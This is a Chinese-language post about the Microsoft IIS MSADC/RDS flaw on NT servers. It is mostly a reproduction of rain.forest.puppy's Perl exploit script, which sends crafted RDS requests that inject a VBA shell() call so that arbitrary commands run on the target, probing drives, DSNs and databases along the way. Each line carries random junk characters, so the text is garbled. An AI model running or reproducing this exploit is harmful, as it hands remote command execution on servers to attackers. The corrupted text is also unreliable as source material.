IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?/~1z*XUW {+MMqJCa 涉及程序:
|(fWT}tg Microsoft NT server
>=bO@)[ li[g =A,
描述:
u/AN|
y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M;OYh In
r%4&!e 详细:
&'R]oeag 如果你没有时间读详细内容的话,就删除:
+^.(3Aw c:\Program Files\Common Files\System\Msadc\msadcs.dll
q0}LfXql8 有关的安全问题就没有了。
LYKepk 6S(3tvUr 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UcZ3v]$I 'D
bHXS7N 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
V}*b^<2o5 关于利用ODBC远程漏洞的描述,请参看:
K;Ktx>Z/ Hd:ZE::Q'# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "6ZatRUd .d2s4q\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
cg4,PI%hz http://www.microsoft.com/security/bulletins/MS99-025faq.asp A-<qr6q R ~b$7jpd 这里不再论述。
lL?;?V~ #q-t!C%E 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[|3
%~s|Sv v1:5r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
pD{Li\LY 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
1+]e? B:l(`G @"6BvGU2s #将下面这段保存为txt文件,然后: "perl -x 文件名"
z')'8155 pq@ad\8 #!perl
opBvx>S #
Gr_I/+< # MSADC/RDS 'usage' (aka exploit) script
QeK~A@|F& #
W[YtNL; # by rain.forest.puppy
czj[U|eB}= #
4):\,>%pK # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Uc&0>_Z # beta test and find errors!
#M:W?&. sx9N8T3n use Socket; use Getopt::Std;
jN[Z mJz' getopts("e:vd:h:XR", \%args);
nQ mkDPjU kn!J`"b print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
T+\BX$w/4e PW}Yts7p if (!defined $args{h} && !defined $args{R}) {
d;>:<{z@CD print qq~
/];F4AO5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
)2a!EEHz -h <host> = host you want to scan (ip or domain)
&B)
F_E I -d <seconds> = delay between calls, default 1 second
Jyd%!v -X = dump Index Server path table, if available
\"5 \hX~dS -v = verbose
Yz,*Q<t -e = external dictionary file for step 5
*yB!^O A2B&X}K|U Or a -R will resume a command session
8!1o,=I$ % R'eV< ~; exit;}
2 `#|;x^< %j=7e@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_onHe"%{ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
pgI@[zp7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
sg3%n0Ms.W if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k07O.9> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S>6APQ- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
xH92=t-w 5ewQjwW0 if (!defined $args{R}){ $ret = &has_msadc;
0-=QQOART\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7n#0eska, R^D~ic
N print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*?c~7ru . "cmd /c ";
bO-8<IjC_3 $in=<STDIN>; chomp $in;
GU=h2LSi] $command="cmd /c " . $in ;
[}FP_Su$6 `P'{HT if (defined $args{R}) {&load; exit;}
ek.L(n,J| ;]p#PNQ0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
pnf3YuB &try_btcustmr;
Wc(?ezn @#sQ7eMoy print "\nStep 2: Trying to make our own DSN...";
wLW!_D,/R &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
!Qn:PSk 'I;pS)sb print "\nStep 3: Trying known DSNs...";
Hd4&"oeY &known_dsn;
w^dB1Y7c(W @T1-0!TM') print "\nStep 4: Trying known .mdbs...";
+&JF|#FQ` &known_mdb;
7n%QP n}a# b%e if (defined $args{e}){
lQoa[#q print "\nStep 5: Trying dictionary of DSN names...";
P[^!Uq[0n7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
R9{6$djq\: Dj?95Z,r print "Sorry Charley...maybe next time?\n";
='>k|s: exit;
89~) nV) e-x{7 ##############################################################################
`$Q
$l o:m:9dn sub sendraw { # ripped and modded from whisker
$YFn$.70\ sleep($delay); # it's a DoS on the server! At least on mine...
%$S.4#G2 my ($pstr)=@_;
7(ZI]< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:*Sl\:_X) die("Socket problems\n");
RKRk,jRL if(connect(S,pack "SnA4x8",2,80,$target)){
jwGd*8
/ select(S); $|=1;
i
yMIP~N,$ print $pstr; my @in=<S>;
3]/w3|y select(STDOUT); close(S);
H2[S]`? return @in;
y1FS?hSD0 } else { die("Can't connect...\n"); }}
qJUu9[3'm !=Cd1
$< ##############################################################################
'd'*4 )]k cl)%qIXj}H sub make_header { # make the HTTP request
&U!@l)< my $msadc=<<EOT
HP"5*C5D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]#KZ
W)M User-Agent: ACTIVEDATA
{
+MqXeq Host: $ip
O~Pbu[C Content-Length: $clen
@<r;>G Connection: Keep-Alive
cC b'z1 u0Irf"Ab ADCClientVersion:01.06
nu|;(ly Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Tgc)'8A;BN _.yBX\tf[ --!ADM!ROX!YOUR!WORLD!
&qF Content-Type: application/x-varg
?3k;Yg/ Content-Length: $reqlen
=; `+^ 7J.alV4`/ EOT
l0l2fwz( ; $msadc=~s/\n/\r\n/g;
+'x|VPY.PG return $msadc;}
5W(G~m?jC6 wk'|gI[W ##############################################################################
'OK)[\ -[^aWNqyJ sub make_req { # make the RDS request
VMe~aUd my ($switch, $p1, $p2)=@_;
&Vd,{JU my $req=""; my $t1, $t2, $query, $dsn;
\J.PrE'(} S{XV{o if ($switch==1){ # this is the btcustmr.mdb query
LhUrVydL $query="Select * from Customers where City=" . make_shell();
@Q
8E)k@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]Wa.k $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5~5d%C^3k t6W$t elsif ($switch==2){ # this is general make table query
g/'CX}g` $query="create table AZZ (B int, C varchar(10))";
^0Cr- $dsn="$p1";}
aq@/sMn `
zeZ7: elsif ($switch==3){ # this is general exploit table query
}YfM< $query="select * from AZZ where C=" . make_shell();
TGl It<& $dsn="$p1";}
rd vq(\A 8*k#T\ elsif ($switch==4){ # attempt to hork file info from index server
tg_v\n $query="select path from scope()";
0R z'#O32V $dsn="Provider=MSIDXS;";}
FFQ=<(Ki <DxUqCE elsif ($switch==5){ # bad query
4Z.G $query="select";
IV]s! $dsn="$p1";}
5|. _K(M FJ#:RC $t1= make_unicode($query);
wi-O}*O
$t2= make_unicode($dsn);
h&|q>M3 $req = "\x02\x00\x03\x00";
_ +q.R $req.= "\x08\x00" . pack ("S1", length($t1));
7O84R^!|2 $req.= "\x00\x00" . $t1 ;
ky0Fm
W $req.= "\x08\x00" . pack ("S1", length($t2));
?fr -5&, $req.= "\x00\x00" . $t2 ;
-HutEbkjx $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+KGZk?% return $req;}
G$kspN*"A 5Arx"=c ##############################################################################
0.7*2s- 2mg4*Ys sub make_shell { # this makes the shell() statement
nK=-SQ return "'|shell(\"$command\")|'";}
G9"2h
\ -L<''2t ##############################################################################
gb:)t}| ~Y]*TP sub make_unicode { # quick little function to convert to unicode
=
zJY5@^'7 my ($in)=@_; my $out;
}A)>sQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
WtlPgT;wE return $out;}
DY<Br; Q%:#xG5AmE ##############################################################################
H~y 7o_tg ANgfG8> sub rdo_success { # checks for RDO return success (this is kludge)
>5G2!Ns' my (@in) = @_; my $base=content_start(@in);
)Nv$ SH if($in[$base]=~/multipart\/mixed/){
q):Ph&'r return 1 if( $in[$base+10]=~/^\x09\x00/ );}
$$QbcnOf$ return 0;}
2\
3}y( (NPDgR/ ##############################################################################
qC<!!473 ? $7
1(g$6# sub make_dsn { # this makes a DSN for us
^D`ARH my @drives=("c","d","e","f");
QQ*yQ\ print "\nMaking DSN: ";
@ChEkTn foreach $drive (@drives) {
d9@!se9&Z print "$drive: ";
DSiI%_[Ud my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<tp\+v!u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=fy~-FN_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,#;%ILF4% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2Hltgt, return 0 if $2 eq "404"; # not found/doesn't exist
e]N?{s
if($2 eq "200") {
m#y?k1GY foreach $line (@results) {
7/^`y') return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5@_c< } return 0;}
5<1,`Bq@ zSs5F_ ##############################################################################
#IH7WaN B1\@ n$ sub verify_exists {
@#sBom+K` my ($page)=@_;
|4RuT
.-o my @results=sendraw("GET $page HTTP/1.0\n\n");
&Z
Ja}5k!r return $results[0];}
GWP;;x% tTa" JXG ##############################################################################
49Sq)jd< sR%,l sub try_btcustmr {
?FC6NEu}8 my @drives=("c","d","e","f");
!L5[s my @dirs=("winnt","winnt35","winnt351","win","windows");
4.@gV/U(| +;nADl+Q foreach $dir (@dirs) {
|UbwPL_L print "$dir -> "; # fun status so you can see progress
9r@T"$V#c foreach $drive (@drives) {
~4p@m>> print "$drive: "; # ditto
?V|t7^+: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~$I2{I#W $reqlenlen=length( "$reqlen" );
oe1Dm $clen= 206 + $reqlenlen + $reqlen;
UMe@[E= 3\Y}{(O | my @results=sendraw(make_header() . make_req(1,$drive,$dir));
T?=[6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=1D* JU else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Oh9jr"Gm= +*OY%;dQ7@ ##############################################################################
gHS;RF9 kzs}U'U sub odbc_error {
-:txmMT my (@in)=@_; my $base;
LGb.>O^ my $base = content_start(@in);
P<iS7Ys+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$ohg?B; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x)@G+I\u $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aO@zeKg $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gd9ZlHo'Id return $in[$base+4].$in[$base+5].$in[$base+6];}
AuZ?~I1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:z=/z!5:j print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
#+Lo&%p#3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
A/NwM1z[o) >c~~i-= ##############################################################################
%v++AcE >M7e'}0; sub verbose {
o5+N_5OE}E my ($in)=@_;
Hl&]r'bK return if !$verbose;
KZV$rJ%G print STDOUT "\n$in\n";}
cm]D"GFLY l7 D/]& ##############################################################################
?9q{b\=l z41
p$ sub save {
Vxif0Bx&/d my ($p1, $p2, $p3, $p4)=@_;
%^RlE@l9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r ]1|I6:&) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
g<~[k?~J close OUT;}
Tr}@fa _nRY5YnL4P ##############################################################################
f f"Clp zqAK|jbL sub load {
;2RCgX!'% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Nzc1)t= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z2B59,I @p=<IN>; close(IN);
LV=!nF0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
d87pQ3e:& $target= inet_aton($ip) || die("inet_aton problems");
^r=#HQGt print "Resuming to $ip ...";
/IVw}:G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DSix(bs9 if($p[1]==1) {
Ai iOs? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
WPyd ^Y< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
hD58 s"L$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
De|@}@ if (rdo_success(@results)){print "Success!\n";}
$ i@5'[jA else { print "failed\n"; verbose(odbc_error(@results));}}
ihH!"HH+ elsif ($p[1]==3){
NVFAmX.Z: if(run_query("$p[3]")){
#UU}lG print "Success!\n";} else { print "failed\n"; }}
K@*m6) elsif ($p[1]==4){
xPqpNs-, if(run_query($drvst . "$p[3]")){
vzaxi;S< print "Success!\n"; } else { print "failed\n"; }}
>FHTBh& Y exit;}
{NE;z<,*: I}Q3B3Byg ##############################################################################
+C\?G/ #eE:hiu<v sub create_table {
I?-9%4 8iM my ($in)=@_;
ika{>hbH $reqlen=length( make_req(2,$in,"") ) - 28;
@]*z!>1 $reqlenlen=length( "$reqlen" );
m{Q{ qJ5> $clen= 206 + $reqlenlen + $reqlen;
OY~5o&Oa my @results=sendraw(make_header() . make_req(2,$in,""));
KUH&_yCRB return 1 if rdo_success(@results);
zGZe|- my $temp= odbc_error(@results); verbose($temp);
n2,b~S\e return 1 if $temp=~/Table 'AZZ' already exists/;
]2zx}D4f return 0;}
\/K>Iv'$ #_7}O0?c3 ##############################################################################
2%vwC]A @uY%;%Pa8 sub known_dsn {
6mdJ
=b# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
[Z
Ea3/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O";r\Z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?WUE+(oH> "banner", "banners", "ads", "ADCDemo", "ADCTest");
4B]8Mp~\aL P'ZWAxd foreach $dSn (@dsns) {
=K8`[iH print ".";
^r;}6 next if (!is_access("DSN=$dSn"));
o}WbW }& if(create_table("DSN=$dSn")){
3L>V-RPi M print "$dSn successful\n";
aeUm,'Y$ if(run_query("DSN=$dSn")){
JpS:}yyJ>N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
by6E
"7% print "Something's borked. Use verbose next time\n";}}} print "\n";}
{2Gp+& @gX@mT" ##############################################################################
wK#UFOp 8n~@Rj5 sub is_access {
,5r 2!d my ($in)=@_;
D"1ciO8^I] $reqlen=length( make_req(5,$in,"") ) - 28;
]]%C\Ryy} $reqlenlen=length( "$reqlen" );
0TA/ExJ-LT $clen= 206 + $reqlenlen + $reqlen;
>+oQxml6nI my @results=sendraw(make_header() . make_req(5,$in,""));
9@D,ZSi my $temp= odbc_error(@results);
RFA5vCG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
k_}ICKzw1 return 0;}
zO)9(%LS #On1Q:d ##############################################################################
L**!$k"{5 I[t)V*L9 sub run_query {
Vi#(x9. my ($in)=@_;
~q|^z[7 $reqlen=length( make_req(3,$in,"") ) - 28;
v/yk T9@; $reqlenlen=length( "$reqlen" );
/.WD'*H $clen= 206 + $reqlenlen + $reqlen;
gn(n</\/O my @results=sendraw(make_header() . make_req(3,$in,""));
3v0)oK return 1 if rdo_success(@results);
Nt/*VYUn my $temp= odbc_error(@results); verbose($temp);
HM[BFF[;/ return 0;}
kFk+TXLDIt O~aS&g/sf ##############################################################################
&